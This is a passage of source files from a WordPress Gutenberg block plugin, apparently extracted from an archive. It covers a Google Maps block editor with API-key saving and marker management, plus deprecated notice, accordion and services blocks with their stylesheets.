				this.changeMarkerProp( marker.id, 'longitude', lng );
			});

			this.markers.push( mark );

			google.maps.event.addListener( mark, 'click', event => {
				if ( this.lastInfoWindow ) {
					this.lastInfoWindow.close();
				}
			});

			this.addInfoWindow( mark, marker.id, marker.title, marker.description );
		});
	}

	changeAPI( value ) {
		this.setState({
			api: value
		});
	}

	saveAPIKey() {
		if ( false === Boolean( themeisleGutenberg.mapsAPI ) ) {
			this.setState({
				isSaving: true
			});

			const model = new wp.api.models.Settings({
				// eslint-disable-next-line camelcase
				themeisle_google_map_block_api_key: this.state.api
			});

			const save = model.save();

			save.success( ( response, status ) => {
				if ( 'success' === status ) {
					let isAPISaved = false;

					this.settings.fetch();

					if ( '' !== response.themeisle_google_map_block_api_key ) {
						isAPISaved = true;
					}

					this.setState({
						isSaving: false,
						isAPISaved
					});

					if ( '' !== response.themeisle_google_map_block_api_key ) {
						window.isMapLoaded = false;
						this.enqueueScript( response.themeisle_google_map_block_api_key );
					}
				}

				if ( 'error' === status ) {
					console.log( response );
				}

				this.settings.fetch();
			});

			save.error( ( response, status ) => {
				console.log( response );
			});
		}
	}

	changeLocation( value ) {
		this.props.setAttributes({ location: value.target.value });
	}

	changeLatitude( value ) {
		this.props.setAttributes({ latitude: value.toString() });
		const latitude = Number( value );
		const longitude = this.props.attributes.longitude;
		const latLng = new google.maps.LatLng( latitude, longitude );
		this.map.setCenter( latLng );
	}

	changeLongitude( value ) {
		this.props.setAttributes({ longitude: value.toString() });
		const latitude = this.props.attributes.latitude;
		const longitude = Number( value );
		const latLng = new google.maps.LatLng( latitude, longitude );
		this.map.setCenter( latLng );
	}

	changeMapType( value ) {
		this.props.setAttributes({ type: value });
		this.map.setMapTypeId( google.maps.MapTypeId[ value.toUpperCase() ]);
	}

	changeZoom( value ) {
		this.props.setAttributes({ zoom: value });
		this.map.setZoom( value );
	}

	changeHeight( value ) {
		this.props.setAttributes({ height: value });
	}

	toggleDraggable() {
		this.props.setAttributes({ draggable: ! this.props.attributes.draggable });
	}

	toggleMapTypeControl() {
		this.props.setAttributes({ mapTypeControl: ! this.props.attributes.mapTypeControl });
	}

	toggleZoomControl() {
		this.props.setAttributes({ zoomControl: ! this.props.attributes.zoomControl });
	}

	toggleFullScreenControl() {
		this.props.setAttributes({ fullscreenControl: ! this.props.attributes.fullscreenControl });
	}

	toggleStreetViewControl() {
		this.props.setAttributes({ streetViewControl: ! this.props.attributes.streetViewControl });
	}

	changeMarkerProp( id, prop, value ) {
		const markers = [ ...this.props.attributes.markers ];
		markers.map( marker => {
			if ( marker.id === id ) {
				return marker[ prop ] = value;
			}
		});
		this.removeMarkers();
		this.cycleMarkers( markers );
		this.props.setAttributes({ markers });
	}

	render() {
		if ( ! this.state.isAPILoaded ) {
			return (
				<Placeholder>
					<Spinner></Spinner>
					{ __( 'Loading…' ) }
				</Placeholder>
			);
		}

		if ( ! this.state.isAPISaved ) {
			return (
				<div className={ this.props.className }>
					<Placeholder
						icon="admin-site"
						label={ __( 'Google Maps' ) }
						instructions={ __( 'A Google Maps API key is required, please enter one below.' ) }
					>
						<TextControl
							type="text"
							placeholder={ __( 'Google Maps API Key' ) }
							value={ this.state.api }
							className="components-placeholder__input"
							onChange={ this.changeAPI }
						/>

						<Button
							isLarge
							type="submit"
							onClick={ this.saveAPIKey }
							isBusy={ this.state.isSaving }
							disabled={ '' === this.state.api }
						>
							{ __( 'Save API Key' ) }
						</Button>

						<div className="components-placeholder__instructions">
							<p className="components-placeholder__text">
								{ __( 'Need an API key? Get one ' ) }
								<ExternalLink href="https://developers.google.com/maps/documentation/javascript/get-api-key">{ __( 'here.' ) }</ExternalLink>
							</p>
							<p className="components-placeholder__text">{ __( 'You need to activate Maps and Places API.' ) }</p>
						</div>
					</Placeholder>
				</div>
			);
		}

		return (
			<Fragment>
				<InspectorControls>
					<PanelBody
						title={ __( 'Location' ) }
					>
						<BaseControl
							label={ __( 'Location' ) }
							id="wp-block-themeisle-blocks-google-map-search"
						>
							<input
								type="text"
								id="wp-block-themeisle-blocks-google-map-search"
								placeholder={ __( 'Enter a location…' ) }
								value={ this.props.attributes.location }
								className="wp-block-themeisle-blocks-google-map-search"
								onFocus={ e => this.initSearch( e ) }
								onChange={ e => this.changeLocation( e ) }
								disabled={ ! this.state.isPlaceAPIAvailable }
							/>

							{ ! this.state.isPlaceAPIAvailable && (
								<p>
									{ __( 'To enable locations earch, please ensure Places API is activated in the Google Developers Console.' ) + ' ' }
									<ExternalLink href="https://developers.google.com/places/web-service/intro">
										{ __( 'More info.' ) }
									</ExternalLink>
								</p>
							) }
						</BaseControl>

						<TextControl
							label={ __( 'Latitude' ) }
							type="text"
							placeholder={ __( 'Enter latitude…' ) }
							value={ this.props.attributes.latitude }
							onChange={ this.changeLatitude }
						/>

						<TextControl
							label={ __( 'Longitude' ) }
							type="text"
							placeholder={ __( 'Enter longitude' ) }
							value={ this.props.attributes.longitude }
							onChange={ this.changeLongitude }
						/>
					</PanelBody>

					<PanelBody
						title={ __( 'Positioning & Zooming' ) }
						initialOpen={ false }
					>
						<SelectControl
							label={ __( 'Map Type' ) }
							value={ this.props.attributes.type }
							options={ [
								{ label: __( 'Road Map' ), value: 'roadmap' },
								{ label: __( 'Satellite View' ), value: 'satellite' },
								{ label: __( 'Hybrid' ), value: 'hybrid' },
								{ label: __( 'Terrain' ), value: 'terrain' }
							] }
							onChange={ this.changeMapType }
						/>

						<RangeControl
							label={ __( 'Map Zoom Level' ) }
							value={ this.props.attributes.zoom }
							onChange={ this.changeZoom }
							min={ 0 }
							max={ 20 }
						/>

						<RangeControl
							label={ __( 'Map Height' ) }
							value={ this.props.attributes.height }
							onChange={ this.changeHeight }
							min={ 100 }
							max={ 1400 }
						/>
					</PanelBody>

					<PanelBody
						title={ __( 'Controls' ) }
						initialOpen={ false }
					>
						<BaseControl>
							{ __( 'The following changes will not affect block preview during the editing process. You can click outside the block to see the changes take effect.' ) }
						</BaseControl>

						<ToggleControl
							label={ 'Draggable Map' }
							checked={ this.props.attributes.draggable }
							onChange={ this.toggleDraggable }
						/>

						<ToggleControl
							label={ 'Map Type Control' }
							checked={ this.props.attributes.mapTypeControl }
							onChange={ this.toggleMapTypeControl }
						/>

						<ToggleControl
							label={ 'Zoom Control' }
							checked={ this.props.attributes.zoomControl }
							onChange={ this.toggleZoomControl }
						/>

						<ToggleControl
							label={ 'Full Screen Control' }
							checked={ this.props.attributes.fullscreenControl }
							onChange={ this.toggleFullScreenControl }
						/>

						<ToggleControl
							label={ 'Streen View Control' }
							checked={ this.props.attributes.streetViewControl }
							onChange={ this.toggleStreetViewControl }
						/>
					</PanelBody>

					<PanelBody
						title={ __( 'Markers' ) }
						initialOpen={ false }
						opened={ false !== this.state.isMarkerOpen ? true : undefined }
						onToggle={ () => {
							if ( false !== this.state.isMarkerOpen ) {
								this.setState({ isMarkerOpen: false });
							}
						} }
					>
						<MarkerWrapper
							markers={ this.props.attributes.markers }
							removeMarker={ this.removeMarker }
							changeMarkerProp={ this.changeMarkerProp }
							addMarker={ this.addMarkerManual }
							isPlaceAPIAvailable={ this.state.isPlaceAPIAvailable }
							initialOpen={ this.state.isMarkerOpen }
						/>
					</PanelBody>

					<PanelBody
						title={ __( 'Global Settings' ) }
						initialOpen={ false }
					>
						<TextControl
							label={ __( 'Google Maps API Key' ) }
							type="text"
							placeholder={ __( 'Google Maps API Key' ) }
							value={ this.state.api }
							className="components-placeholder__input"
							onChange={ this.changeAPI }
							help={ __( 'Changing the API key effects all Google Map Embed blocks. You will have to refresh the page after changing your API keys.' ) }
						/>

						<Button
							isLarge
							type="submit"
							onClick={ this.saveAPIKey }
							isBusy={ this.state.isSaving }
						>
							{ __( 'Save API Key' ) }
						</Button>
					</PanelBody>
				</InspectorControls>

				{ this.state.isModalOpen && (
					<MarkerModal
						marker={ this.state.selectedMarker }
						isPlaceAPIAvailable={ this.state.isPlaceAPIAvailable }
						close={ () => this.setState({ isModalOpen: false }) }
						addMarker={ this.addMarker }
					/>
				) }

				<ResizableBox
					size={ {
						height: this.props.attributes.height
					} }
					enable={ {
						top: false,
						right: false,
						bottom: true,
						left: false
					} }
					minHeight={ 100 }
					maxHeight={ 1400 }
					onResizeStart={ () => {
						this.props.toggleSelection( false );
					} }
					onResizeStop={ ( event, direction, elt, delta ) => {
						this.props.setAttributes({
							height: parseInt( this.props.attributes.height + delta.height, 10 )
						});
						this.props.toggleSelection( true );
					} }
					className={ classnames(
						'wp-block-themeisle-blocks-google-map-resizer',
						{ 'is-focused': this.props.isSelected }
					) }
				>
					<div
						id={ this.props.attributes.id }
						className={ classnames(
							this.props.className,
							{ 'is-selecting-marker': this.state.isSelectingMarker }
						) }
						style={ {
							height: this.props.attributes.height + 'px'
						} }
					>
					</div>
				</ResizableBox>
			</Fragment>
		);
	}
}

export default Editor;
google-map/components/Marker.js000066600000011334151151722010012540 0ustar00/**
 * WordPress dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	BaseControl,
	Button,
	ExternalLink,
	IconButton,
	SelectControl,
	TextControl,
	TextareaControl
} = wp.components;

const { Component} = wp.element;

class Marker extends Component {
	constructor() {
		super( ...arguments );
		this.initSearch = this.initSearch.bind( this );
		this.changeLocation = this.changeLocation.bind( this );
	}

	initSearch( e ) {
		const elements = document.getElementsByClassName( 'pac-container' );

		Object.keys( elements ).forEach( e => elements[e].remove() );

		this.searchBox = new google.maps.places.SearchBox( e.target );

		this.searchBox.addListener( 'places_changed', () => {
			const places = this.searchBox.getPlaces();

			if ( places && ( 0 < places.length ) ) {
				places.forEach( place => {
					const location = place.formatted_address || place.name;
					const latitude = place.geometry.location.lat();
					const longitude = place.geometry.location.lng();
					this.props.changeMarkerProp( this.props.marker.id, 'location', location );
					this.props.changeMarkerProp( this.props.marker.id, 'latitude', latitude );
					this.props.changeMarkerProp( this.props.marker.id, 'longitude', longitude );
				});
			}
		});
	}

	changeLocation( value ) {
		this.props.changeMarkerProp( this.props.marker.id, 'location', value.target.value );
	}

	render() {
		return (
			<div className="wp-block-themeisle-blocks-google-map-marker">
				<div className="wp-block-themeisle-blocks-google-map-marker-title-area">
					<Button
						className="wp-block-themeisle-blocks-google-map-marker-title"
						onClick={ () => this.props.openMarker( this.props.marker.id ) }
					>
						{ this.props.marker.title || __( 'Custom Marker' ) }
					</Button>

					<IconButton
						icon="no-alt"
						label={ __( 'Remove Marker' ) }
						className="wp-block-themeisle-blocks-google-map-marker-remove"
						onClick={ () => this.props.removeMarker( this.props.marker.id ) }
					/>
				</div>

				<div
					className={ classnames(
						'wp-block-themeisle-blocks-google-map-marker-control-area',
						{ 'opened': this.props.marker.id === this.props.isOpen }
					) }
				>
					<BaseControl
						label={ __( 'Location' ) }
						id={ `themeisle-location-search-${ this.props.marker.id }` }
					>
						<input
							type="text"
							id={ `themeisle-location-search-${ this.props.marker.id }` }
							placeholder={ __( 'Enter a location…' ) }
							value={ this.props.marker.location }
							className="wp-block-themeisle-blocks-google-map-search"
							onFocus={ e => this.initSearch( e ) }
							onChange={ e => this.changeLocation( e ) }
							disabled={ ! this.props.isPlaceAPIAvailable }
						/>

						{ ! this.props.isPlaceAPIAvailable && (
							<p>
								{ __( 'To enable locations earch, please ensure Places API is activated in the Google Developers Console.' ) + ' ' }
								<ExternalLink href="https://developers.google.com/places/web-service/intro">
									{ __( 'More info.' ) }
								</ExternalLink>
							</p>
						) }
					</BaseControl>

					<TextControl
						label={ __( 'Latitude' ) }
						type="text"
						value={ this.props.marker.latitude }
						onChange={ e => this.props.changeMarkerProp( this.props.marker.id, 'latitude', e ) }
					/>

					<TextControl
						label={ __( 'Longitude' ) }
						type="text"
						value={ this.props.marker.longitude }
						onChange={ e => this.props.changeMarkerProp( this.props.marker.id, 'longitude', e ) }
					/>

					<SelectControl
						label={ __( 'Map Icon' ) }
						value={ this.props.marker.icon || 'https://maps.google.com/mapfiles/ms/icons/red-dot.png' }
						options={ [
							{ label: __( 'Red' ), value: 'https://maps.google.com/mapfiles/ms/icons/red-dot.png' },
							{ label: __( 'Blue' ), value: 'https://maps.google.com/mapfiles/ms/icons/blue-dot.png' },
							{ label: __( 'Yellow' ), value: 'https://maps.google.com/mapfiles/ms/icons/yellow-dot.png' },
							{ label: __( 'Green' ), value: 'https://maps.google.com/mapfiles/ms/icons/green-dot.png' },
							{ label: __( 'Orange' ), value: 'https://maps.google.com/mapfiles/ms/icons/orange-dot.png' }
						] }
						onChange={ e => this.props.changeMarkerProp( this.props.marker.id, 'icon', e ) }
					/>

					<TextControl
						label={ __( 'Title' ) }
						type="text"
						value={ this.props.marker.title }
						onChange={ e => this.props.changeMarkerProp( this.props.marker.id, 'title', e ) }
					/>

					<TextareaControl
						label={ __( 'Description' ) }
						type="text"
						value={ this.props.marker.description }
						onChange={ e => this.props.changeMarkerProp( this.props.marker.id, 'description', e ) }
					/>
				</div>
			</div>
		);
	}
}

export default Marker;
google-map/components/MarkerModal.js000066600000007742151151722010013525 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	BaseControl,
	Button,
	ButtonGroup,
	Modal,
	SelectControl,
	TextControl,
	TextareaControl
} = wp.components;

const {
	Component,
	Fragment
} = wp.element;

class MarkerModal extends Component {
	constructor() {
		super( ...arguments );
		this.initSearch = this.initSearch.bind( this );
		this.changeLocation = this.changeLocation.bind( this );

		this.state = {
			advanced: false,
			id: '',
			location: '',
			title: '',
			icon: 'https://maps.google.com/mapfiles/ms/icons/red-dot.png',
			description: '',
			latitude: '',
			longitude: ''
		};
	}

	componentDidMount() {
		this.setState({ ...this.props.marker });
	}

	initSearch( e ) {
		const elements = document.getElementsByClassName( 'pac-container' );

		Object.keys( elements ).forEach( e => elements[e].remove() );

		this.searchBox = new google.maps.places.SearchBox( e.target );

		this.searchBox.addListener( 'places_changed', () => {
			const places = this.searchBox.getPlaces();

			if ( places && ( 0 < places.length ) ) {
				places.forEach( place => {
					const location = place.formatted_address || place.name;
					const latitude = place.geometry.location.lat();
					const longitude = place.geometry.location.lng();
					this.setState({
						location,
						latitude,
						longitude
					});
				});
			}
		});
	}

	changeLocation( value ) {
		this.setState({ location: value.target.value });
	}

	render() {
		return (
			<Modal
				title={ __( 'Add Marker' ) }
				onRequestClose={ this.props.close }
			>
				{ this.state.advanced && (
					<Fragment>
						<BaseControl
							label={ __( 'Location' ) }
							id={ `themeisle-location-search-${ this.props.marker.id }` }
						>
							<input
								type="text"
								id={ `themeisle-location-search-${ this.state.id }` }
								placeholder={ __( 'Enter a location…' ) }
								value={ this.state.location }
								className="wp-block-themeisle-blocks-google-map-search"
								onFocus={ e => this.initSearch( e ) }
								onChange={ e => this.changeLocation( e ) }
								disabled={ ! this.props.isPlaceAPIAvailable }
							/>
						</BaseControl>

						<TextControl
							label={ __( 'Latitude' ) }
							type="text"
							value={ this.state.latitude }
							onChange={ e => this.setState({ 'latitude': e }) }
						/>

						<TextControl
							label={ __( 'Longitude' ) }
							type="text"
							value={ this.state.longitude }
							onChange={ e => this.setState({ 'longitude': e }) }
						/>
					</Fragment>
				) }

				<TextControl
					label={ __( 'Title' ) }
					type="text"
					value={ this.state.title }
					onChange={ e => this.setState({ 'title': e }) }
				/>

				<TextareaControl
					label={ __( 'Description' ) }
					type="text"
					value={ this.state.description }
					onChange={ e => this.setState({ 'description': e }) }
				/>

				<SelectControl
					label={ __( 'Map Icon' ) }
					value={ this.state.icon || 'https://maps.google.com/mapfiles/ms/icons/red-dot.png' }
					options={ [
						{ label: __( 'Red' ), value: 'https://maps.google.com/mapfiles/ms/icons/red-dot.png' },
						{ label: __( 'Blue' ), value: 'https://maps.google.com/mapfiles/ms/icons/blue-dot.png' },
						{ label: __( 'Yellow' ), value: 'https://maps.google.com/mapfiles/ms/icons/yellow-dot.png' },
						{ label: __( 'Green' ), value: 'https://maps.google.com/mapfiles/ms/icons/green-dot.png' },
						{ label: __( 'Orange' ), value: 'https://maps.google.com/mapfiles/ms/icons/orange-dot.png' }
					] }
					onChange={ e => this.setState({ 'icon': e }) }
				/>

				<ButtonGroup>
					<Button
						isLarge
						isPrimary
						onClick={ () => this.props.addMarker( this.state.location, this.state.title, this.state.icon, this.state.description, this.state.latitude, this.state.longitude  ) }
					>
						{ __( 'Add' ) }
					</Button>

					<Button
						isLarge
						isDefault
						onClick={ this.props.close }
					>
						{ __( 'Cancel' ) }
					</Button>
				</ButtonGroup>
			</Modal>
		);
	}
}

export default MarkerModal;
deprecated/notice/index.js000066600000004663151151722010011602 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const { RichText } = wp.editor;

const { Notice } = wp.components;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';

registerBlockType( 'themeisle-blocks/notice', {
	title: __( 'Notice' ),
	description: __( 'Provide contextual feedback messages for typical user actions with the handful of available and flexible alert messages.' ),
	icon: 'info',
	category: 'themeisle-blocks',
	keywords: [
		'notice',
		'info'
	],
	attributes: {
		content: {
			type: 'array',
			source: 'children',
			selector: 'p.components-notice__content'
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		inserter: false
	},

	styles: [
		{ name: 'sucess', label: __( 'Success' ), isDefault: true },
		{ name: 'info', label: __( 'Info' ) },
		{ name: 'warning', label: __( 'Warning' ) },
		{ name: 'error', label: __( 'Error' ) }
	],

	edit: props => {
		let status = 'success';
		if ( props.attributes.className && props.attributes.className.includes( 'is-style-info' ) ) {
			status = '';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-warning' ) ) {
			status = 'warning';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-error' ) ) {
			status = 'error';
		}
		return (
			<Notice
				className={ props.className }
				isDismissible={ false }
				status={ status }
			>
				<RichText
					tagName="p"
					placeholder={ __( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.' ) }
					value={ props.attributes.content }
					className="components-notice__content"
					onChange={ content => props.setAttributes({ content }) }
					keepPlaceholderOnFocus="true"
				/>
			</Notice>
		);
	},
	save: props => {
		let status = 'success';
		if ( props.attributes.className && props.attributes.className.includes( 'is-style-info' ) ) {
			status = '';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-warning' ) ) {
			status = 'warning';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-error' ) ) {
			status = 'error';
		}
		return (
			<Notice
				className="themeisle-block-notice"
				isDismissible={ false }
				status={ status }
			>
				<RichText.Content
					tagName="p"
					className="components-notice__content"
					value={ props.attributes.content }
				/>
			</Notice>
		);
	}
});
deprecated/notice/style.scss000066600000001065151151722010012163 0ustar00.themeisle-block-notice {

	&.components-notice {
		background-color: #E5F5FA;
		border-left: 4px solid #00a0d2;
		margin: 5px 15px 10px;
		padding: 8px 12px;
	
		&.is-success {
			border-left-color: #4ab866;
			background-color: lighten( #4ab866, 45% );
		}
	
		&.is-warning {
			border-left-color: #f0b849;
			background-color: lighten( #f0b849, 35% );
		}
	
		&.is-error {
			border-left-color: #d94f4f;
			background-color: lighten( #d94f4f, 35% );
		}
	
		.components-notice__content {
			font-size: 14px;
			line-height: 1.5;
			margin: 0 !important;
		}
	}
}deprecated/notice/editor.scss000066600000001065151151722010012311 0ustar00.themeisle-block-notice {

	&.components-notice {
		background-color: #E5F5FA;
		border-left: 4px solid #00a0d2;
		margin: 5px 15px 10px;
		padding: 8px 12px;
	
		&.is-success {
			border-left-color: #4ab866;
			background-color: lighten( #4ab866, 45% );
		}
	
		&.is-warning {
			border-left-color: #f0b849;
			background-color: lighten( #f0b849, 35% );
		}
	
		&.is-error {
			border-left-color: #d94f4f;
			background-color: lighten( #d94f4f, 35% );
		}
	
		.components-notice__content {
			font-size: 14px;
			line-height: 1.5;
			margin: 0 !important;
		}
	}
}deprecated/accordion-box/index.js000066600000000207151151722010013036 0ustar00/**
 * Accordion Block
 */
import './style.scss';
import './editor.scss';
import './accordion-area.js';
import './accordion-block.js';
deprecated/accordion-box/accordion-block.js000066600000003057151151722010014766 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	RichText,
	InnerBlocks
} = wp.editor;

registerBlockType( 'themeisle-blocks/accordion-block', {
	title: __( 'Accordion Item' ),
	description: __( 'Accordion block allows you to add beautiful accordions in your posts.' ),
	parent: [ 'themeisle-blocks/accordion-area' ],
	icon: 'menu',
	category: 'themeisle-blocks',
	keywords: [
		'accordion',
		'collapsible',
		'orbitfox'
	],

	attributes: {
		heading: {
			type: 'array',
			source: 'children',
			selector: '.accordion-heading'
		}
	},

	supports: {
		inserter: false
	},

	edit: props => {

		const CONTENT =  [
			[ 'core/paragraph', {
				content: __( 'What is the point of being alive if you don’t at least try to do something remarkable?' ),
				className: 'accordion-content'
			} ]
		];

		return (
			<li className={ props.className }>
				<RichText
					tagName="h4"
					className="accordion-heading"
					value={ props.attributes.heading }
					placeholder="Section Title"
					onChange={ ( heading ) => props.setAttributes({ heading }) }
				/>
				<div className="accordion-content">
					<InnerBlocks
						template={ CONTENT }
						id="accordion-content"
					/>
				</div>
			</li>
		);
	},

	save: props => {
		return (
			<li>
				<input type="checkbox" checked />
				<i></i>
				<RichText.Content
					tagName="h4"
					className="accordion-heading"
					value={ props.attributes.heading }
				/>
				<div className="accordion-content">
					<InnerBlocks.Content/>
				</div>
			</li>
		);
	}
});
deprecated/accordion-box/accordion-area.js000066600000001776151151722010014612 0ustar00/**
 * WordPress dependencies
 */
const {__} = wp.i18n;

const {
	registerBlockType
} = wp.blocks;

const {
	InnerBlocks
} = wp.editor;

registerBlockType( 'themeisle-blocks/accordion-area', {
	title: __( 'Accordion' ),
	description: __( 'Accordion block allows you to add beautiful accordions in your posts.' ),
	icon: 'menu',
	category: 'themeisle-blocks',
	keywords: [
		'accordion',
		'collapsible',
		'orbitfox'
	],

	supports: {
		inserter: false
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/accordion-block' ];
		const TEMPLATE = [ [ 'themeisle-blocks/accordion-block' ], [ 'themeisle-blocks/accordion-block' ], [ 'themeisle-blocks/accordion-block' ] ];
		return (
			<div className={ props.className }>
				<ul>
					<InnerBlocks
						allowedBlocks={ ALLOWED_BLOCKS }
						template={ TEMPLATE }
					/>
				</ul>
			</div>
		);
	},

	save: () => {
		return (
			<div className="wp-block-themeisle-blocks-accordion-box">
				<ul>
					<InnerBlocks.Content/>
				</ul>
			</div>
		);
	}
});
deprecated/accordion-box/editor.scss000066600000001576151151722010013566 0ustar00$white: rgba(254,255,250,1);
$grey: rgba(220,231,235,1);
$black: rgba(48,69,92,0.8);

.wp-block-themeisle-blocks-accordion-area {
	ul {
		list-style: none;
		perspective: 900;
		padding: 20px 0;
		margin: 0;
		
		li {
			position: relative;
			padding: 0;
			margin: 0;
			padding-bottom: 18px;
			padding-top: 18px;
			list-style: none;
			border-top: 1px dotted $grey;
			animation-delay: 0.5s;
	
			&:last-of-type {
				border-bottom: 1px dotted $grey;
			}

			.accordion-heading {
				line-height: 34px;
				font-weight: 300;
				letter-spacing: 1px;
				display: block;
				background-color: $white;
				margin: 0 !important;
			}

			.accordion-content {
				color: $black;
				font-size: 17px;
				line-height: 26px;
				letter-spacing: 1px;
				position: relative;
				margin-top: 14px !important;
				max-height: 800px;
				opacity: 1;
				transform: translate( 0 , 0 );
			}
		}
	}
}deprecated/accordion-box/style.scss000066600000004161151151722010013431 0ustar00$white: rgba(254,255,250,1);
$grey: rgba(220,231,235,1);
$black: rgba(48,69,92,0.8);

.wp-block-themeisle-blocks-accordion-area {
	.transition {
		transition: all 0.25s ease-in-out;
	}

	.no-select {
		-webkit-tap-highlight-color: rgba(0,0,0,0);
		-webkit-touch-callout: none;
		-webkit-user-select: none;
		-khtml-user-select: none;
		-moz-user-select: none;
		-ms-user-select: none;
		user-select: none;
	}

	ul {
		list-style: none;
		perspective: 900;
		padding: 20px 0;
		margin: 0;
		
		li {
			position: relative;
			padding: 0;
			margin: 0;
			padding-bottom: 18px;
			padding-top: 18px;
			list-style: none;
			border-top: 1px dotted $grey;
	
			&:last-of-type {
				border-bottom: 1px dotted $grey;
			}

			.accordion-heading {
				line-height: 34px;
				font-weight: 300;
				letter-spacing: 1px;
				display: block;
				background-color: $white;
				margin: 0 !important;
				padding: 0;
				cursor: pointer;
				@extend .no-select;
			}

			.accordion-content {
				color: $black;
				font-size: 17px;
				line-height: 26px;
				letter-spacing: 1px;
				position: relative;
				margin-top: 14px !important;
				max-height: 800px;
				@extend .transition;
				opacity: 1;
				transform: translate( 0 , 0 );
			}

			i {
				position: absolute;
				transform: translate( -6px , 0 );
				margin-top: 16px;
				right: 0;
	
				&:before, &:after{
					content: "";
					@extend .transition;
					position: absolute;
					background-color: $black;
					width: 3px;
					height: 9px;
				}

				&:before {
					transform: translate( -2px , 0 ) rotate( 45deg );
				}

				&:after {
					transform: translate( 2px , 0 ) rotate( -45deg );
				}
			}
	
			input[type=checkbox] {
				position: absolute;
				cursor: pointer;
				width: 100%;
				height: 100%;
				z-index: 1;
				opacity: 0;
	
				&:checked {
					&~.accordion-content {
						margin: 0 !important;
						max-height: 0;
						opacity: 0;
						transform: translate( 0 , 50% );
					}
		
					&~i {
						&:before {
							transform: translate( 2px , 0 ) rotate( 45deg );
						}
		
						&:after {
							transform: translate( -2px , 0 ) rotate( -45deg );
						}
					}
				}
			}
		}
	}
}deprecated/services/style.scss000066600000002074151151722020012527 0ustar00.wp-block-themeisle-blocks-services {
	display: flex;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	&.alignfull {
		padding: 100px;
	}

	&.alignwide {
		padding: 100px 150px;
	}

	.wp-block-column {
		position: relative;
		flex: 1;
		padding: 20px 10px;
		margin: 0 20px;
	}
}

@media ( min-width:768px ) {
	.wp-block-themeisle-blocks-services {
		.wp-block-column {

			&:first-child {
				margin-left: 0;
			}
	
			&:last-child {
				margin-right: 0;
			}
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-services {
		display: block;

		.wp-block-column {
			margin: 20px;
		}
	}
}

@media ( max-width:1024px ) {
	.wp-block-themeisle-blocks-services {

		&.alignfull {
			padding: 100px 20px;
		}
	
		&.alignwide {
			padding: 100px 20px;
		}
	}
}deprecated/services/service-block.js000066600000003730151151722020013560 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	InnerBlocks,
	InspectorControls,
	PanelColorSettings
} = wp.editor;

registerBlockType( 'themeisle-blocks/service-block', {
	title: __( 'Service Block' ),
	description: __( 'Use this Services table to showcase services your website offers.' ),
	parent: [ 'themeisle-blocks/services' ],
	icon: 'slides',
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'orbitfox'
	],
	attributes: {
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		}
	},

	supports: {
		inserter: false
	},

	edit: props => {
		const setBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const TEMPLATE =  [
			[ 'themeisle-blocks/font-awesome-icons', {
				fontSize: 62,
				prefix: 'fab',
				icon: 'angellist'
			} ],
			[ 'core/heading', {
				content: __( 'Panel' ),
				className: 'service-title',
				align: 'center',
				level: 4
			} ],
			[ 'core/paragraph', {
				content: __( 'Small description, but a pretty long one.' ),
				className: 'service-content',
				align: 'center'
			} ],
			[ 'core/button', {
				text: __( 'Learn More' ),
				className: 'service-button',
				align: 'center'
			} ]
		];

		return [
			<InspectorControls>
				<PanelColorSettings
					title={ __( 'Color Settings' ) }
					initialOpen={ true }
					colorSettings={ [
						{
							value: props.attributes.backgroundColor,
							onChange: setBackgroundColor,
							label: __( 'Background Color' )
						}
					] }
				>
				</PanelColorSettings>
			</InspectorControls>,

			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				} }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
deprecated/services/editor.scss000066600000004544151151722020012661 0ustar00// These margins make sure that nested blocks stack/overlay with the parent block chrome
// This is sort of an experiment at making sure the editor looks as much like the end result as possible
// Potentially the rules here can apply to all nested blocks and enable stacking, in which case it should be moved elsewhere
.wp-block-themeisle-blocks-services .editor-block-list__layout {
	margin-left: 0;
	margin-right: 0;

	// This max-width is used to constrain the main editor column, it should not cascade into columns
	.editor-block-list__block {
		max-width: none;
	}
}

.wp-block-themeisle-blocks-services {
	display: block;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/service-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				margin-top: 12px;
				flex-basis: 100%;
			}
		}
	}

	.wp-block-column {
		&:first-child {
			margin-left: 0;
		}

		&:last-child {
			margin-right: 0;
		}

		position: relative;
		padding: 20px 10px;
		margin: 0 20px;
	}
}

[data-type="themeisle-blocks/services"] {
	&[data-align="full"] {
		.wp-block-themeisle-blocks-services {
			padding: 100px 150px;
		}
	}

	&[data-align="wide"] {
